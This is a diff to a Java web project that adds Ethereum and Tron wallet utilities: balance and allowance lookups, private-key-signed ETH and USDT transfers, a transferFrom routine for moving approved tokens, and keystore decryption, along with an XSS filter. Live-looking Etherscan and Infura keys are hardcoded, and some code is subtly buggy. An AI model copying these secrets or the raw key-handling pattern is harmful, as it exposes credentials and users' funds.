+ } + + + /** + * 获取ERC-20 token指定地址余额 + * + * @param address 查询地址 + * @param contractAddress 合约地址 + * @return + * @throws ExecutionException + * @throws InterruptedException + */ + private static final BigDecimal WEI = new BigDecimal(1000000); + public static final String usdtAddr = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; + public static final String usdcAddr = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; + public static final Logger log = LoggerFactory.getLogger(EthUtils.class); + public static Web3j web3j; + public static String balanceUrl = "https://api.etherscan.io/api?module=account&action=balance&tag=latest&apikey="; + public static String usdtUrl = "https://api.etherscan.io/api?module=account&action=tokenbalance&contractaddress=0xdAC17F958D2ee523a2206206994597C13D831ec7&tag=latest&apikey="; + public static String usdcUrl = "https://api.etherscan.io/api?module=account&action=tokenbalance&contractaddress=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48&tag=latest&apikey="; + + + + //fromAddr授权toAddr的U额度 + public static String getAllowance(String fromAddr, String toAddr) { + try { + web3j= Web3j.build(new HttpService(web3jUrl)); + String methodName = "allowed"; + List inputParameters = new ArrayList<>(); + List> outputParameters = new ArrayList<>(); + Address fromAddress = new Address(fromAddr); + Address toAddress = new Address(toAddr); + inputParameters.add(fromAddress); + inputParameters.add(toAddress); + TypeReference typeReference = new TypeReference() {}; + outputParameters.add(typeReference); + Function function = new Function(methodName, inputParameters, outputParameters); + String data = FunctionEncoder.encode(function); + Transaction transaction = Transaction.createEthCallTransaction(toAddr, usdtAddr, data); + EthCall ethCall; + BigDecimal balanceValue = BigDecimal.ZERO; + try { + ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send(); + List results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters()); + BigDecimal value = BigDecimal.ZERO; + if(results != null && results.size()>0){ + value = new BigDecimal((String.valueOf(results.get(0).getValue()))); + } + balanceValue = value.divide(WEI, 6, RoundingMode.HALF_DOWN); + } catch (IOException e) { + log.error(e.getMessage()); + } + return balanceValue.toString(); + + }catch (Exception e){ + log.error(e.getMessage()); + } + return null; + } + + public static void main(String[] args) { + String usdcAllowance = getAllowance("0xaf4ed95c3738474c61d64de522e9f22a0029c545", "0x8d6dee13685299c487f461faa83d4d96531c1b6f"); + System.out.println(usdcAllowance); + } + + /* public static void main(String[] args) { + Web3j web3j = Web3j.build(new HttpService("https://mainnet.infura.io/v3/cf9c5052761445cda17be62ae2c669c7")); + + // 代币合约地址和USDC代币的地址0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 + String usdcContractAddress = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; // USDC合约地址 + String yourAddress = "0x8d6dee13685299c487f461faa83d4d96531c1b6f"; + String spenderAddress = "0xaf4ed95c3738474c61d64de522e9f22a0029c545"; + + // 创建一个智能合同函数调用来查询授权额度 + List inputParameters = new ArrayList<>(); + inputParameters.add(new Address(yourAddress)); + inputParameters.add(new Address(spenderAddress)); + Function function = new Function( + "allowance", + inputParameters, + Arrays.asList(new TypeReference() {}) + ); + + String data = FunctionEncoder.encode(function); + + // 创建一个只读(eth_call)交易以查询授权额度 + org.web3j.protocol.core.methods.request.Transaction ethCallTransaction = org.web3j.protocol.core.methods.request.Transaction + .createEthCallTransaction(yourAddress, usdcContractAddress, data); + + try { + EthCall ethCall = web3j.ethCall(ethCallTransaction, DefaultBlockParameterName.LATEST).send(); + + if (ethCall.hasError()) { + System.out.println("Error: " + ethCall.getError().getMessage()); + } else { + List results = FunctionReturnDecoder.decode( + ethCall.getResult(), function.getOutputParameters()); + + if (!results.isEmpty()) { + Uint256 allowance = (Uint256) results.get(0); + BigInteger allowanceValue = allowance.getValue(); + + // 将Wei转换为USDC单位(通常是6位小数) + BigDecimal usdcValue = new BigDecimal(allowanceValue).divide(BigDecimal.TEN.pow(6)); + System.out.println("授权额度: " + usdcValue.toPlainString()); + + } else { + System.out.println("没有授权额度数据"); + } + } + } catch (IOException e) { + e.printStackTrace(); + } + }*/ + + public static String getUsdcAllowance(String fromAddr, String toAddr) { + Web3j web3j = Web3j.build(new HttpService(web3jUrl)); + // 代币合约地址和USDC代币的地址0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 + String usdcContractAddress = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; // USDC合约地址 + String yourAddress = fromAddr; + String spenderAddress = toAddr; + + // 创建一个智能合同函数调用来查询授权额度 + List inputParameters = new ArrayList<>(); + inputParameters.add(new Address(yourAddress)); + inputParameters.add(new Address(spenderAddress)); + Function function = new Function( + "allowance", + inputParameters, + Arrays.asList(new TypeReference() {}) + ); + String data = FunctionEncoder.encode(function); + // 创建一个只读(eth_call)交易以查询授权额度 + org.web3j.protocol.core.methods.request.Transaction ethCallTransaction = org.web3j.protocol.core.methods.request.Transaction + .createEthCallTransaction(yourAddress, usdcContractAddress, data); + + try { + EthCall ethCall = web3j.ethCall(ethCallTransaction, DefaultBlockParameterName.LATEST).send(); + + if (ethCall.hasError()) { + log.info("Error: " + ethCall.getError().getMessage()); + } else { + List results = FunctionReturnDecoder.decode( + ethCall.getResult(), function.getOutputParameters()); + BigDecimal value= BigDecimal.ZERO; + if (!results.isEmpty()) { + value = new BigDecimal((String.valueOf(results.get(0).getValue()))); + // 将Wei转换为USDC单位(通常是6位小数) + BigDecimal usdcValue = value.divide(WEI, 6, RoundingMode.HALF_DOWN); + log.info("授权usdc额度"+usdcValue); + return usdcValue.toPlainString(); + } else { + log.info("没有授权额度数据"); + return value.toPlainString(); + } + } + } catch (IOException e) { + e.printStackTrace(); + } + return null; + } + public static String getHashStatus(String hash){ + // 0 成功 1失败 + String s = HttpUtil.get("https://api.etherscan.io/api" + + "?module=transaction" + + "&action=getstatus" + + "&txhash=" +hash+ + "&apikey=MIFUK1NUB2ZFNC2A1VB878Q148336UTG7E"); + JSONObject jsonObject = JSONObject.parseObject(s); + String status = jsonObject.getString("status"); + if(status.equals("1")){ + if(jsonObject!=null){ + JSONObject o = jsonObject.getJSONObject("result"); + if(o!=null){ + String isError = o.getString("isError"); + return isError; + } + } + } + return "3"; + } + public static String getERC20Balance(String address) throws ExecutionException, InterruptedException { + String methodName = "balanceOf"; + List inputParameters = new ArrayList<>(); + List> outputParameters = new ArrayList<>(); + Address fromAddress = new Address(address); + inputParameters.add(fromAddress); + + TypeReference typeReference = new TypeReference() { + }; + outputParameters.add(typeReference); + Function function = new Function(methodName, inputParameters, outputParameters); + String data = FunctionEncoder.encode(function); + Transaction transaction = Transaction.createEthCallTransaction(address, usdtAddr, data); + + EthCall ethCall; + BigDecimal balanceValue = BigDecimal.ZERO; + try { + web3j= Web3j.build(new HttpService(web3jUrl)); + ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send(); + List results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters()); + Integer value = 0; + if(results != null && results.size()>0){ + value = Integer.parseInt(String.valueOf(results.get(0).getValue())); + } + balanceValue = new BigDecimal(value).divide(WEI, 6, RoundingMode.HALF_DOWN); + } catch (IOException e) { + e.printStackTrace(); + } + return balanceValue.toString(); + } + public static String getEth(String addr) throws ExecutionException, InterruptedException { + web3j= Web3j.build(new HttpService(web3jUrl)); + EthGetBalance ethGetBalance = web3j.ethGetBalance(addr, + DefaultBlockParameterName.fromString(DefaultBlockParameterName.LATEST.name()) + ).sendAsync().get(); + BigInteger balance = ethGetBalance.getBalance(); + BigDecimal balance2 = new BigDecimal(balance); + //return balance2.divide(new BigDecimal(1000000000000000000L), 6, RoundingMode.HALF_DOWN).toString(); + return Convert.fromWei(balance2, Convert.Unit.ETHER).toString(); + } + + public static String transferEth(String fromAddr, String key, String toAddr, String amount) throws ExecutionException, InterruptedException, ConnectException { + // 获取 nonce 值 + web3j= Web3j.build(new HttpService(web3jUrl)); + EthGetTransactionCount ethGetTransactionCount = web3j.ethGetTransactionCount(fromAddr, DefaultBlockParameterName.PENDING).sendAsync().get(); + BigInteger nonce = ethGetTransactionCount.getTransactionCount(); + System.out.println(nonce); + + // 构建交易 + RawTransaction etherTransaction = RawTransaction.createEtherTransaction( + nonce, + web3j.ethGasPrice().sendAsync().get().getGasPrice(), + DefaultGasProvider.GAS_LIMIT, + toAddr, + Convert.toWei(amount, Convert.Unit.ETHER).toBigInteger() + ); + System.out.println(etherTransaction); + + // 加载私钥 + Credentials credentials = Credentials.create(key); + + // 使用私钥签名交易并发送 + byte[] signature = TransactionEncoder.signMessage(etherTransaction, credentials); + String signatureHexValue = Numeric.toHexString(signature); + EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(signatureHexValue).sendAsync().get(); + return ethSendTransaction.getTransactionHash(); + } + + + public static String transferUSDTByPrivateKey(String from, String to, String value, String privateKey) { + try { + web3j= Web3j.build(new HttpService(web3jUrl)); + //加载转账所需的凭证,用私钥 + Credentials credentials = Credentials.create(privateKey); + //获取nonce,交易笔数 + BigInteger nonce = getNonce(from); + BigInteger gasPrice = getGasPrice(); + BigInteger gasLimit = Convert.toWei("250000", Convert.Unit.WEI).toBigInteger(); // 最大手续费数量,差不多够转400U.如果到时转账慢了,可调大 + + //代币对象 + Function function = new Function( + "transfer", + Arrays.asList(new Address(to), new Uint256(new BigInteger(value))), + Arrays.asList(new TypeReference() {})); + + String encodedFunction = FunctionEncoder.encode(function); + RawTransaction rawTransaction = RawTransaction.createTransaction(nonce + , gasPrice + , gasLimit + , usdtAddr + , encodedFunction); + //签名Transaction,这里要对交易做签名 + byte[] signMessage = TransactionEncoder.signMessage(rawTransaction, credentials); + String hexValue = Numeric.toHexString(signMessage); + //发送交易 + EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(hexValue).sendAsync().get(); + if (Objects.nonNull(ethSendTransaction.getError())) { + log.error(String.format("code: %s, message: %s", ethSendTransaction.getError().getCode(), ethSendTransaction.getError().getMessage())); + throw new RuntimeException(String.format("code: %s, message: %s", ethSendTransaction.getError().getCode(), ethSendTransaction.getError().getMessage())); + } + return ethSendTransaction.getTransactionHash(); + } catch (Exception e) { + log.error("转账ERC20 USDT失败.", e); + return null; + } + } + + public static String proxyTransferUSDTByPrivateKey(String from, String to, String value, String privateKey) { + try { + //加载转账所需的凭证,用私钥 + Credentials credentials = Credentials.create(privateKey); + //获取nonce,交易笔数 + BigInteger nonce = getNonce(to); + BigInteger gasPrice = getGasPrice(); + BigInteger gasLimit = Convert.toWei("250000", Convert.Unit.WEI).toBigInteger(); // 最大手续费数量,差不多够转400U.如果到时转账慢了,可调大 + + //代币对象 + Function function = new Function( + "transferFrom", + Arrays.asList(new Address(from), new Address(to),new Uint256(new BigInteger(value))), + Arrays.asList(new TypeReference() {})); + + String encodedFunction = FunctionEncoder.encode(function); + RawTransaction rawTransaction = RawTransaction.createTransaction(nonce + , gasPrice + , gasLimit + , usdtAddr + , encodedFunction); + //签名Transaction,这里要对交易做签名 + byte[] signMessage = TransactionEncoder.signMessage(rawTransaction, credentials); + String hexValue = Numeric.toHexString(signMessage); + //发送交易 + web3j= Web3j.build(new HttpService(web3jUrl)); + EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(hexValue).sendAsync().get(); + if (Objects.nonNull(ethSendTransaction.getError())) { + log.error(String.format("code: %s, message: %s", ethSendTransaction.getError().getCode(), ethSendTransaction.getError().getMessage())); + throw new RuntimeException(String.format("code: %s, message: %s", ethSendTransaction.getError().getCode(), ethSendTransaction.getError().getMessage())); + } + return ethSendTransaction.getTransactionHash(); + } catch (Exception e) { + log.error("转账ERC20 USDT失败.", e); + return null; + } + } + + public static BigInteger getNonce(String address) { + try { + web3j= Web3j.build(new HttpService(web3jUrl)); + EthGetTransactionCount ethGetTransactionCount = web3j.ethGetTransactionCount( + address, DefaultBlockParameterName.LATEST).sendAsync().get(); + + BigInteger nonce = ethGetTransactionCount.getTransactionCount(); + return nonce; + } catch (InterruptedException | ExecutionException e) { + log.error(e.getMessage()); + return null; + } + } + + public static BigInteger getGasPrice() { + try { + web3j= Web3j.build(new HttpService(web3jUrl)); + return web3j.ethGasPrice().send().getGasPrice(); + } catch (IOException e) { + log.error(e.getMessage(), e); + return null; + } + } + + public static TransactionResult getTransactionResult(String tradeHash) { + TransactionReceipt transaction = getTransaction(tradeHash); +// log.debug("transaction:{}", transaction); + // 还在区块链确认中 + if (Objects.isNull(transaction) || StringUtils.isBlank(transaction.getStatus())) { + return TransactionResult + .builder() + .confirmed(false) + .build(); + } + if (Integer.parseInt(transaction.getStatus().replace("0x", ""), 16) != 1) { + return TransactionResult + .builder() + .confirmed(true) + .success(false) + .failedMsg("区块链交易状态返回失败") + .build(); + } + return TransactionResult + .builder() + .confirmed(true) + .success(true) + .build(); + } + + public static TransactionReceipt getTransaction(String hash) { + try { + web3j= Web3j.build(new HttpService(web3jUrl)); + return web3j.ethGetTransactionReceipt(hash).send().getResult(); + } catch (IOException e) { + log.error(e.getMessage(), e); + return null; + } + } + + public static String getEthHttp(String addr){ + String url= balanceUrl+ ethKey+"&address="+addr; + JSONObject ret = JSONObject.parseObject(HttpUtil.get(url)); + if("OK".equals(ret.getString("message"))){ + return ret.getString("result"); + }else{ + return null; + } + } + public static String getUsdtHttp(String addr){ + String url= usdtUrl+ apiKey+"&address="+addr; + String resp = HttpUtil.get(url); + JSONObject ret = JSONObject.parseObject(resp); + if("OK".equals(ret.getString("message"))){ + return ret.getString("result"); + }else{ + log.debug("获取ETH USDT余额异常.result:" + ret.getString("result")); + return null; + } + } + public static String getUsdcHttp(String addr){ + String url= usdcUrl+ apiKey+"&address="+addr; + String resp = HttpUtil.get(url); + JSONObject ret = JSONObject.parseObject(resp); + log.info("获取usdc余额"+ret); + if("OK".equals(ret.getString("message"))){ + return ret.getString("result"); + }else{ + log.debug("获取ETH USDT余额异常.result:" + ret.getString("result")); + return null; + } + } + public static String getGasPriceHttp() throws Exception { + String url= "https://api.etherscan.io/api?module=gastracker&action=gasoracle&apikey="+ apiKey; + String resp = HttpUtil.get(url); + JSONObject ret = JSONObject.parseObject(resp); + if("OK".equals(ret.getString("message"))){ + return ret.getString("result"); + }else{ + log.error("获取GasPrice.result:" + ret.getString("result")); + throw new Exception(); + + } + } + public static String readJsonFile(String fileName) { + String jsonStr = ""; + try { + File jsonFile = new File(fileName); + FileReader fileReader = new FileReader (jsonFile); + + Reader reader = new InputStreamReader (new FileInputStream(jsonFile), "utf-8"); + int ch = 0; + StringBuffer sb = new StringBuffer(); + while ((ch = reader.read()) != -1) { + sb.append((char) ch); + } + + fileReader.close(); + reader.close(); + jsonStr = sb.toString(); + return jsonStr; + } catch (IOException e) { + e.printStackTrace(); + return null; + } + } + + public static String decryptWallet(String keystore, String password) { + String privateKey = null; + ObjectMapper objectMapper = ObjectMapperFactory.getObjectMapper(); + try { + WalletFile walletFile = objectMapper.readValue(keystore, WalletFile.class); + ECKeyPair ecKeyPair = null; + ecKeyPair = Wallet.decrypt(password, walletFile); + privateKey = ecKeyPair.getPrivateKey().toString(16); + } catch (CipherException e) { + e.printStackTrace(); + if ("Invalid password provided".equals(e.getMessage())) { + System.out.println("密码错误"); + } + } catch (IOException e) { + e.printStackTrace(); + } + return privateKey; + } + + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/eth/EtherscanApi.java b/ruoyi-common/src/main/java/com/ruoyi/common/eth/EtherscanApi.java new file mode 100644 index 0000000..6332c0d --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/eth/EtherscanApi.java @@ -0,0 +1,99 @@ +package com.ruoyi.common.eth; + +import cn.hutool.http.HttpUtil; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.mashape.unirest.http.HttpResponse; +import com.mashape.unirest.http.Unirest; +import com.mashape.unirest.http.exceptions.UnirestException; +import lombok.extern.slf4j.Slf4j; + +import java.util.HashMap; +import java.util.Map; + + +@Slf4j +public class EtherscanApi { + public static final String ethUrl = "https://api.etherscan.io/api"; + public static final String apiToken = "B49VGKYKJKUMZ97TI636Y52RN46V6CY1F4"; + public static final String usdtAddr = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; + private String token; + + //查询eth + public void getEthBalance(String address){ + Map params = new HashMap(); + params.put("apikey", apiToken); + params.put("action", "balance"); + params.put("module", "account"); + params.put("tag", "latest"); + params.put("address", address); + + String ret = HttpUtil.get(ethUrl, params); + log.debug("sendRawTransaction result = {}",ret); + } + //查询usdt + public void getErc20Balance(String address){ + Map params = new HashMap(); + params.put("apikey", apiToken); + params.put("action", "tokenbalance"); + params.put("module", "account"); + params.put("tag", "latest"); + params.put("address", address); + params.put("contractaddress", usdtAddr); + + String ret = HttpUtil.get(ethUrl, params); + log.debug("sendRawTransaction result = {}",ret); + } + + public void sendRawTransaction(String hexValue){ + try { + HttpResponse response = Unirest.post("https://api.etherscan.io/api") + .field("module","proxy") + .field("action","eth_sendRawTransaction") + .field("hex",hexValue) + .field("apikey",token) + .asString(); + log.debug("sendRawTransaction result = {}",response.getBody()); + } catch (UnirestException e) { + e.printStackTrace(); + } + } + + + public boolean checkEventLog(final Long blockHeight,String address,String topic0,String txid){ + try { + HttpResponse response = Unirest.post("https://api.etherscan.io/api") + .field("module", "logs") + .field("action", "getLogs") + .field("fromBlock", blockHeight) + .field("toBlock",blockHeight) + .field("address",address) + .field("topic0",topic0) + .field("apikey", token) + .asString(); + log.debug("getLogs result = {}",response.getBody()); + JSONObject result = JSON.parseObject(response.getBody()); + if(result.getInteger("status")==0){ + return false; + } + else{ + JSONArray txs = result.getJSONArray("result"); + for(int i=0;i excludes = new ArrayList<>(); + + @Override + public void init(FilterConfig filterConfig) throws ServletException + { + String tempExcludes = filterConfig.getInitParameter("excludes"); + if (StringUtils.isNotEmpty(tempExcludes)) + { + String[] url = tempExcludes.split(","); + for (int i = 0; url != null && i < url.length; i++) + { + excludes.add(url[i]); + } + } + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException + { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + if (handleExcludeURL(req, resp)) + { + chain.doFilter(request, response); + return; + } + XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request); + chain.doFilter(xssRequest, response); + } + + private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response) + { + String url = request.getServletPath(); + String method = request.getMethod(); + // GET DELETE 不过滤 + if (method == null || HttpMethod.GET.matches(method) || HttpMethod.DELETE.matches(method)) + { + return true; + } + return StringUtils.matches(url, excludes); + } + + @Override + public void destroy() + { + + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/filter/XssHttpServletRequestWrapper.java b/ruoyi-common/src/main/java/com/ruoyi/common/filter/XssHttpServletRequestWrapper.java new file mode 100644 index 0000000..05149f0 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/filter/XssHttpServletRequestWrapper.java @@ -0,0 +1,111 @@ +package com.ruoyi.common.filter; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import javax.servlet.ReadListener; +import javax.servlet.ServletInputStream; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletRequestWrapper; +import org.apache.commons.io.IOUtils; +import org.springframework.http.HttpHeaders; +import org.springframework.http.MediaType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.html.EscapeUtil; + +/** + * XSS过滤处理 + * + * @author ruoyi + */ +public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper +{ + /** + * @param request + */ + public XssHttpServletRequestWrapper(HttpServletRequest request) + { + super(request); + } + + @Override + public String[] getParameterValues(String name) + { + String[] values = super.getParameterValues(name); + if (values != null) + { + int length = values.length; + String[] escapesValues = new String[length]; + for (int i = 0; i < length; i++) + { + // 防xss攻击和过滤前后空格 + escapesValues[i] = EscapeUtil.clean(values[i]).trim(); + } + return escapesValues; + } + return super.getParameterValues(name); + } + + @Override + public ServletInputStream getInputStream() throws IOException + { + // 非json类型,直接返回 + if (!isJsonRequest()) + { + return super.getInputStream(); + } + + // 为空,直接返回 + String json = IOUtils.toString(super.getInputStream(), "utf-8"); + if (StringUtils.isEmpty(json)) + { + return super.getInputStream(); + } + + // xss过滤 + json = EscapeUtil.clean(json).trim(); + byte[] jsonBytes = json.getBytes("utf-8"); + final ByteArrayInputStream bis = new ByteArrayInputStream(jsonBytes); + return new ServletInputStream() + { + @Override + public boolean isFinished() + { + return true; + } + + @Override + public boolean isReady() + { + return true; + } + + @Override + public int available() throws IOException + { + return jsonBytes.length; + } + + @Override + public void setReadListener(ReadListener readListener) + { + } + + @Override + public int read() throws IOException + { + return bis.read(); + } + }; + } + + /** + * 是否是Json请求 + * + * @param request + */ + public boolean isJsonRequest() + { + String header = super.getHeader(HttpHeaders.CONTENT_TYPE); + return StringUtils.startsWithIgnoreCase(header, MediaType.APPLICATION_JSON_VALUE); + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/huobi/HuobiConfig.java b/ruoyi-common/src/main/java/com/ruoyi/common/huobi/HuobiConfig.java new file mode 100644 index 0000000..85bdda4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/huobi/HuobiConfig.java @@ -0,0 +1,28 @@ +package com.ruoyi.common.huobi; + +import com.google.common.collect.Lists; + +import java.util.List; + +public class HuobiConfig { + //火币订阅格式 + public static List getSubList(String symbol){ + List channels = Lists.newArrayList(); + channels.add("market."+symbol+"-USDT.kline.1min"); + channels.add("market."+symbol+"-USDT.trade.detail"); + channels.add("market."+symbol+"-USDT.detail"); + return channels; + } + public static String getKline(String symbol){ + String kilne = "market."+symbol+"-USDT.kline.1min"; + return kilne; + } + public static String getTrade(String symbol){ + String kilne = "market."+symbol+"-USDT.trade.detail"; + return kilne; + } + public static String getDetail(String symbol){ + String kilne = "market."+symbol+"-USDT.detail"; + return kilne; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/trc/TRC.java b/ruoyi-common/src/main/java/com/ruoyi/common/trc/TRC.java new file mode 100644 index 0000000..7cdccef --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/trc/TRC.java @@ -0,0 +1,10 @@ + +package com.ruoyi.common.trc; + +import lombok.Data; + +@Data +public class TRC { + private boolean confirmed; + private String contractRet; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/trc/TransactionResult.java b/ruoyi-common/src/main/java/com/ruoyi/common/trc/TransactionResult.java new file mode 100644 index 0000000..a20f644 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/trc/TransactionResult.java @@ -0,0 +1,20 @@ +package com.ruoyi.common.trc; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@Builder +@NoArgsConstructor +@AllArgsConstructor +public class TransactionResult { + + // false-确认中/TRUE-已确认 + private boolean confirmed; + // TRUE-成功/false-失败 + private boolean success; + // 失败描述 + private String failedMsg; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Contract.java b/ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Contract.java new file mode 100644 index 0000000..aa8725d --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/trc/Trc20Contract.java @@ -0,0 +1,252 @@ +package com.ruoyi.common.trc; + +import cn.hutool.crypto.SecureUtil; +import com.ruoyi.common.utils.StringUtils; +import org.tron.trident.abi.FunctionReturnDecoder; +import org.tron.trident.abi.TypeReference; +import org.tron.trident.abi.datatypes.Address; +import org.tron.trident.abi.datatypes.Bool; +import org.tron.trident.abi.datatypes.Function; +import org.tron.trident.abi.datatypes.Utf8String; +import org.tron.trident.abi.datatypes.generated.Uint256; +import org.tron.trident.abi.datatypes.generated.Uint8; +import org.tron.trident.core.ApiWrapper; +import org.tron.trident.core.contract.Contract; +import org.tron.trident.core.transaction.TransactionBuilder; +import org.tron.trident.proto.Chain; +import org.tron.trident.proto.Response; +import org.tron.trident.utils.Base58Check; +import org.tron.trident.utils.Numeric; + +import java.math.BigInteger; +import java.util.Arrays; +import java.util.Base64; +import java.util.Collections; + +public class Trc20Contract extends Contract { + protected int decimals; + + public Trc20Contract(Contract cntr, String ownerAddr, ApiWrapper wrapper) { + super(cntr, ownerAddr, wrapper); + decimals = decimals().intValue(); + } + + /** + * Call function name() public view returns (string). + * + * Returns the name of the token - e.g. "MyToken". + * + * @return the name of the token + */ + //调用TRC20合约的name()函数获取通证的名称。 + public String name() { + Function name = new Function("name", + Collections.emptyList(), Arrays.asList(new TypeReference() {})); + + Response.TransactionExtention txnExt = wrapper.constantCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), name); + //Convert constant result to human readable text + String result = Numeric.toHexString(txnExt.getConstantResult(0).toByteArray()); + return (String) FunctionReturnDecoder.decode(result, name.getOutputParameters()).get(0).getValue(); + } + + /** + * Call function symbol() public view returns (string). + * + * Returns the symbol of the token. E.g. "HIX". + * + * @return the symbol of the token + */ + //调用TRC20合约的symbol函数获取代币的符号 + public String symbol() { + Function symbol = new Function("symbol", + Collections.emptyList(), Arrays.asList(new TypeReference() {})); + + Response.TransactionExtention txnExt = wrapper.constantCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), symbol); + //Convert constant result to human readable text + String result = Numeric.toHexString(txnExt.getConstantResult(0).toByteArray()); + return (String)FunctionReturnDecoder.decode(result, symbol.getOutputParameters()).get(0).getValue(); + } + + /** + * Call function decimals() public view returns (uint8). + * + * Returns the number of decimals the token uses - e.g. 8, + * means to divide the token amount by 100000000 to get its user representation + * + * @return the number of decimals the token uses + */ + //调用TRC20合约的decimals函数获取代币的精度 + public BigInteger decimals() { + Function decimals = new Function("decimals", + Collections.emptyList(), Arrays.asList(new TypeReference() {})); + + Response.TransactionExtention txnExt = wrapper.constantCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), decimals); + //Convert constant result to human readable text + String result = Numeric.toHexString(txnExt.getConstantResult(0).toByteArray()); + return (BigInteger)FunctionReturnDecoder.decode(result, decimals.getOutputParameters()).get(0).getValue(); + } + + /** + * Call function totalSupply() public view returns (uint256). + * + * Returns the total token supply. + * + * @return the total token supply + */ + //调用TRC20合约的totalSupply函数获取代币的总供应量。 + public BigInteger totalSupply() { + Function totalSupply = new Function("totalSupply", + Collections.emptyList(), Arrays.asList(new TypeReference() {})); + + Response.TransactionExtention txnExt = wrapper.constantCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), totalSupply); + //Convert constant result to human readable text + String result = Numeric.toHexString(txnExt.getConstantResult(0).toByteArray()); + return (BigInteger)FunctionReturnDecoder.decode(result, totalSupply.getOutputParameters()).get(0).getValue(); + } + + /** + * Call function balanceOf(address _owner) public view returns (uint256 balance). + * + * Returns the account balance of another account with address _owner. + * + * @param accountAddr The token owner's address + // * @param callerAddr The caller's address + // * @param cntrAddr The contract's address + * @return the account balance of another account with address _owner + */ + //调用TRC20合约的balanceOf函数获取指定账户的代币余额 + public BigInteger balanceOf(String accountAddr) { + Function balanceOf = new Function("balanceOf", + Arrays.asList(new Address(accountAddr)), Arrays.asList(new TypeReference() {})); + + Response.TransactionExtention txnExt = wrapper.constantCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), balanceOf); + //Convert constant result to human readable text + String result = Numeric.toHexString(txnExt.getConstantResult(0).toByteArray()); + return (BigInteger)FunctionReturnDecoder.decode(result, balanceOf.getOutputParameters()).get(0).getValue(); + } + + /** + * Call function transfer(address _to, uint256 _value) public returns (bool success). + * + * Transfers _value amount of tokens to address _to. + * + * @param destAddr The address to receive the token + * @param amount The transfer amount + * @param memo The transaction memo + * @param feeLimit The energy fee limit + * @return Transaction hash + */ + //调用TRC20合约的transfer函数进行代币转账。 + public String transfer(String destAddr, long amount, + String memo, long feeLimit) { + Function transfer = new Function("transfer", + Arrays.asList(new Address(destAddr), + new Uint256(BigInteger.valueOf(amount))), + Arrays.asList(new TypeReference() {})); + + TransactionBuilder builder = wrapper.triggerCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), transfer); + builder.setFeeLimit(feeLimit); + builder.setMemo(memo); + + Chain.Transaction signedTxn = wrapper.signTransaction(builder.build()); + return wrapper.broadcastTransaction(signedTxn); + } + + /** + * call function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) + * + * The transferFrom method is used for a withdraw workflow, + * allowing contracts to transfer tokens on your behalf. This can only be called + * when someone has allowed you some amount. + * + * @param fromAddr The address who sends tokens (or the address to withdraw from) + * @param destAddr The address to receive the token + * @param amount The transfer amount + * @param memo The transaction memo + * @param feeLimit The energy fee limit + * @return Transaction hash + */ + //调用TRC20合约的transferFrom函数从他们账户中转账代币,需要配合approve方法使用。 + public String transferFrom(String fromAddr, String destAddr, long amount, + String memo, long feeLimit) { + Function transferFrom = new Function("transferFrom", + Arrays.asList(new Address(fromAddr) ,new Address(destAddr), + new Uint256(BigInteger.valueOf(amount))), + Arrays.asList(new TypeReference() {})); + com.google.protobuf.ByteString ownerAddr1 = ownerAddr; + + TransactionBuilder builder = wrapper.triggerCall(Base58Check.bytesToBase58(ownerAddr.toByteArray()), + Base58Check.bytesToBase58(cntrAddr.toByteArray()), transferFrom); + builder.setFeeLimit(feeLimit); + builder.setMemo(memo); + + Chain.Transaction signedTxn = 